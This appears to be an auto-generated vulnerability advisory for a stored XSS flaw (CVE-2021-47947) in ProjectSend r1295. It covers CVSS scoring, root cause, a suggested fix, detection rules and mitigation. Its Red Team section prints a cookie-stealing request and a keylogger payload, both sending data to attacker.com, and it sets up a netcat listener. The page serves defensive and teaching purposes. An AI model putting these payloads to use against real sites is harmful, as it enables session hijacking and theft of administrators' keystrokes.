CVE-2021-47947
Executive Summary
CVE-2021-47947 is a stored cross-site scripting (XSS) vulnerability identified in ProjectSend r1295, an open-source file-sharing application. The flaw resides in the name parameter of the files-edit.php endpoint, allowing authenticated attackers to inject arbitrary JavaScript payloads. When a System Administrator views the affected file entry on the Dashboard, the injected script executes in the browser context, potentially leading to session hijacking, data exfiltration, or further privilege escalation. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No official patch has been released, and no public exploit code or Nuclei template is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ProjectSend is a PHP-based application distributed via GitHub and its official website. The vulnerability affects the core application code, not a third-party package. However, administrators should verify the integrity of their ProjectSend installation by checking file hashes against the official repository. No known supply chain compromise has been reported for this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user
- User Interaction: Required (UI:R) – victim must view the malicious file entry
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the impact is amplified because the attack targets administrators, potentially leading to full application compromise. The lack of a patch increases the risk for unmaintained instances.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the file upload/editing functionality of ProjectSend. The application fails to sanitize or encode the name parameter when a user edits a file's metadata via files-edit.php. The injected payload is stored in the database and later rendered without proper escaping on the Dashboard page, which is typically accessed by System Administrators.
Attack Flow:
- An authenticated attacker (e.g., a regular user) navigates to
files-edit.phpand submits a craftednameparameter containing a JavaScript payload, such as<script>alert('XSS')</script>. - The application stores the malicious file name in the database.
- When a System Administrator views the Dashboard (e.g.,
dashboard.php), the application retrieves and displays the file name without sanitization. - The browser executes the injected script, allowing the attacker to perform actions in the context of the administrator's session.
Root Cause: Insufficient output encoding in the file name display logic. The application likely uses echo $fileName or similar without applying htmlspecialchars() or equivalent escaping.
Vulnerable vs. Patched Code
Vulnerable Code (ProjectSend r1295):
// files-edit.php (simplified)
$file_name = $_POST['name'];
// ... store $file_name in database without sanitization
// dashboard.php (simplified)
echo $file['name']; // No HTML encoding
Patched Code (Hypothetical Fix):
// files-edit.php
$file_name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store sanitized $file_name
// dashboard.php
echo htmlspecialchars($file['name'], ENT_QUOTES, 'UTF-8');
Note: Since no official patch exists, the above is a recommended fix. Administrators should apply output encoding to all user-supplied data displayed in the browser.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of ProjectSend r1295
- Valid credentials for an authenticated user (e.g., "client" role)
- Network access to the application
Exploitation Steps:
- Log in to ProjectSend as an authenticated user.
- Navigate to
files-edit.php(e.g.,http://target/projectsend/files-edit.php?id=1). - Intercept the request using a proxy (e.g., Burp Suite) and modify the
nameparameter to include a JavaScript payload:POST /projectsend/files-edit.php?id=1 HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=your_session name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&file=1 - Submit the request. The malicious file name is stored.
- Wait for a System Administrator to view the Dashboard. When they do, the script executes, sending their session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>document.addEventListener('keydown', function(e){fetch('http://attacker.com/keylog?k='+e.key)})</script>
Blue Team
Detection & Response:
- Monitor HTTP requests to
files-edit.phpfor suspiciousnameparameters containing<script>,onerror=, or other HTML event handlers. - Review server logs for unusual outbound connections from the web server (e.g., to attacker-controlled domains).
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in file name fields.
- Conduct regular code reviews to ensure all user input is properly sanitized and output is encoded.
Lab Setup:
- Deploy ProjectSend r1295 in a controlled environment (e.g., Docker container).
- Create a test user with "client" role and a System Administrator account.
- Use a browser with developer tools to simulate the attack and observe the XSS execution.
- Set up a simple HTTP listener (e.g.,
nc -lvnp 80) to capture exfiltrated data.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/projectsend/files-edit.phpwithnameparameter containing<script>tags or JavaScript event handlers. - Outbound HTTP requests from the web server to unknown IP addresses or domains (e.g.,
attacker.com).
- HTTP POST requests to
- File IOCs:
- Database entries in the
filestable where thenamecolumn contains HTML/JavaScript code.
- Database entries in the
- Log IOCs:
- Web server access logs showing
files-edit.phprequests with unusualnamevalues. - Error logs indicating failed XSS filter attempts (if any).
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2021_47947_Stored_XSS {
meta:
description = "Detects stored XSS payloads in ProjectSend file names"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2021-47947"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: ProjectSend Stored XSS via File Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-47947 by injecting XSS payloads into the file name parameter.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/files-edit.php'
cs-uri-query|contains|all:
- 'name='
- '<script'
condition: selection
falsepositives:
- Legitimate file names containing '<script' (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2021-47947 ProjectSend Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/files-edit.php"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file editing for non-admin users if possible, by modifying access controls in
files-edit.php. - Apply input sanitization by adding
htmlspecialchars()to thenameparameter before storage and display. - Implement Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Upgrade to a patched version if available; otherwise, consider migrating to an alternative file-sharing solution.
Long-Term Fix:
- Fork the ProjectSend repository and apply the patch manually.
- Conduct a full security audit of the application to identify similar vulnerabilities.
- Enable automatic security updates and monitor for new releases.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.